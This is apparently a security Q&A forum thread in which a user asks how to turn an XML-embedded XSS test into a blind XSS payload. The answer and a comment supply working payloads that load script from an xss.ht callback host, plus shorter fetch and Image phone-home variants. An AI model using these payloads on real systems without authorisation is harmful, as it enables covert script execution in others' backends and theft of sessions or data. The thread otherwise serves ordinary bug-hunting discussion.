I think i may have found a blind XSS. I can only upload xml files that are opened inside the backend. My questions is: How can i turn this payload into a blind xss payload to receive a ping to my website?

<?xml version="1.0"?> <foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>prompt(document.domain);</html:script> </html> </foo>

What should i changed from this string?


1 Answer 1


A good resource for payloads in general is "payload all the things": https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss

I don't see why most of their blind XSS payloads wouldn't work for your target:

Are XML attributes parsed as HTML attributes?

<html:script src=//yoursubdomain.xss.ht>prompt(document.domain);</html:script>

If you're trying to stay inside the tags:

<html:script>var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)</html:script>

It has some other payloads you can try, as well as some tools that can be used to find blind XSS:

  • XSSHunter
  • bXSS
  • ezXSS
  • 1
    new Image().src='someurl' is a simpler way to phone home. just fetch(url) works these days too. you can rewrite your example code shorter using object ref recycling: document.body.appendChild(document.createElement(\'script\')).src='url'... /bored
    – dandavis
    Commented Jun 6, 2019 at 20:07

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .